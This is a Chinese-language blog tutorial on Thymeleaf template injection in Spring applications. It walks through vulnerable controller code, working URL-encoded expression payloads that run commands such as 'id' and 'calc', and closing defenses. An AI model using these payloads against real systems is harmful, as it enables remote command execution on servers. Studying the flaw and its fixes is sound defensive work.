以下文章來源於Medi0cr1ty,作者medi0cr1ty
背景:
Thymeleaf 是與 java 配合使用的一款服務端模板引擎,也是 spring 官方支持的一款服務端模板引擎。他支持 HTML 原型,在 HTML 標簽中增加額外的屬性來達到模板 + 數據的展示方式。默認前綴:/templates/ ,默認后綴:.html 。
首先我們來熟悉一下這個漏洞發生的一些前期知識:
1、 spring mvc 及 thymeleaf 基礎
-
下載 github 中的項目,在 idea 中導入。(導入時選擇 pom.xml 並以 project 的形式進行導入,這樣他會自己去下載他的依賴,也就是 jar 包,配置 maven 這些如果有需要的話會單獨寫一篇文章。)
-
要等他下載 jar 包完成,所以稍等一會。之后,我們來到 HelloController.java 文件。
@GetMapping("/") public String index(Model model) { model.addAttribute("message", "happy birthday"); return "welcome"; }
-
這個方法名上加了 @GetMapping("/") 的注解,表示請求方法為 get 的 url 為 / 的請求會進到這個方法體里面進行處理。
-
在這個方法里面,給 model 傳入了一個參數,key 為 message ,value 為 happy birthday ,這個 model 會和我們要返回的視圖名一起傳回前端。
-
這里的 return "welcome" 返回的是視圖名,thymeleaf 會默認加上前綴 /templates 及后綴 .html ,即最終返回的視圖名就是 /templates/welcome.html ,帶上我們的數據 model 。
/templates/welcome.html: <!DOCTYPE HTML> <html lang="en" xmlns:th="http://www.thymeleaf.org"> <div th:fragment="header"> <h3>Spring Boot Web Thymeleaf Example</h3> </div> <div th:fragment="main"> <span th:text="'Hello, ' + ${message}"></span> </div> </html>
-
這里首先將 html 的名稱空間設置為 thymeleaf ,接下來 html 文檔中就可以使用 thymeleaf 中的指令了。比如接下來的 div 標簽中就有 th:fragment 、th:text 這種形式,這種就是 thymeleaf 中的指令。
-
在倒數第三行中, ${message} 表示從 model 中取對應 key 的值,而 ${…} 這里面是 ognl/SpringEL 表達式,比如 ${7*7} 會執行里面運算,得到 49 ,同樣延申一下 ognl 表達式:${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ,SpringEL 表達式:${T(java.lang.Runtime).getRuntime().exec('calc')} 。${} 內部的通過 OGNL 表達式引擎解析的,外部的通過 thymeleaf 模板引擎解析 。

漏洞出現在 thymeleaf 的片段選擇器中,關於片段選擇器是什么,通過一個小例子就會知道。
2、 片段選擇器,templatename::selector
@GetMapping("/fragment") public String fragment(@RequestParam String section) { return "welcome :: " + section; //fragment is tainted }
-
這里接收一個 section 的參數,這個參數來決定我們頁面顯示哪一個部分。

-
這里沒有上個的 Spring Boot Web Thymeleaf example 字樣了。將 section 換為 header ,就沒有 Hello, ${message} 字樣了。
3、 漏洞詳情,thymeleaf 在解析包含 :: 的模板名時,會將其作為表達式去進行執行。

-
官方文檔中也有提到。

-
github 的文章給的 payload :__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
-
這其中除了 __ 下划線暫時不理解之外,其他的應該都能清楚了。后面的 .x 是不需要也可以的,或者也可以換成其他的字符。
-
__${…}__ 是 thymeleaf 中的預處理表達式,也就是會對雙下划線包起來的表達式進行預處理。比如:#{selection.__${sel.code}__} ,這里的話 thymeleaf 會先對 ${sel.code} 進行解析,若解析的結果為 ALL ,那么再將其結果作為常規表達式的一部分,也即是 #{selection.ALL}
-
所以,結合我們的 payload ,因為 payload 中包含了 :: ,也就是會將 templatename 以及 selector 作為表達式去進行執行,在這里給的 payload 中,表達式在模板名的位置: __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()} 執行 id 這條命令,因為他會進行一個預處理那么無論他前面和后面有什么都會先去處理這個表達式,也就都會去執行里面的命令。
4、 實操
-
4.1 首先看一下
@GetMapping("/path") public String path(@RequestParam String lang) { return "user/" + lang + "/welcome"; //template path is tainted }
-
這時將 lang 參數作為模塊名解析的一部分。payload :/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::

-
執行命令並回顯。
-
4.2 再看一下:
@GetMapping("/fragment") public String fragment(@RequestParam String section) { return "welcome :: " + section; //fragment is tainted }
-
這時是將 section 放在 selector 的位置。同樣是上面的 payload :/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::

-
這時沒有回顯,狀態也是 200 ,調試之后發現,前面模板名找不到會拋出一個異常,而這里是將我們的 section 放到 welcome :: 后面,而這時是找到的模板名,找不到 selector ,這時他不會拋出異常,只是沒有內容顯示了,但是命令還是會執行。

-
也就是說,如果將 payload 改成 /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__:: 是能彈出計算器的。

-
測試發現,payload :/fragment/?section=$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d 在這里也是可以執行的,因為 thymeleaf 會將 templatename 、selector 分別作為表達式執行。而這個漏洞環境中,welcome :: 后面直接加的 section ,而 section 后面也沒有其他的字符影響,所以不用 __${…}__ 符號也可以。

-
4.3 還有一種魔幻操作,
@GetMapping("/doc/{document}") public void getDocument(@PathVariable String document) { log.info("Retrieving " + document); //returns void, so view name is taken from URI }
-
這時返回值為空,並沒有返回視圖名,此時的視圖名會從 URI 中獲取,具體實現的代碼在 DefaultRequestToViewNameTranslator 中的 getViewName 方法:
public String getViewName(HttpServletRequest request) { String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH); return (this.prefix + transformPath(lookupPath) + this.suffix); }
-
故此時在 uri 中的參數添加 payload 即可。

-
這里的 payload 必須包裹在 __...__ 之中,且后面加上 :: ,及 .string 。至於為什么我也沒弄明白。
5、防御
1.1. 方法上配置 @ResponseBody 或者 @RestController
-
這樣 spring 框架就不會將其解析為視圖名,而是直接返回。不配置的話 SpringMVC 會將業務方法的返回值傳遞給 DispatcherServlet ,再由DispatcherServlet 調用 ViewResolver 對返回值進行解析,映射到一個 view 資源。
-
@RestController 表示該控制器會直接將業務方法的返回值響應給客戶端,不進行視圖解析。它內部繼承了 @ResponseBody 。
1.2. 在返回值前面加上 "redirect:"
-
這樣不再由 Spring ThymeleafView來進行解析,而是由 RedirectView 來進行解析。
1.3. 在方法參數中加上 HttpServletResponse 參數
-
這樣 spring 會認為已經處理了 response ,無須再去進行視圖名的解析。在 ServletResponseMethodArgumentResolver 類中檢查了此參數。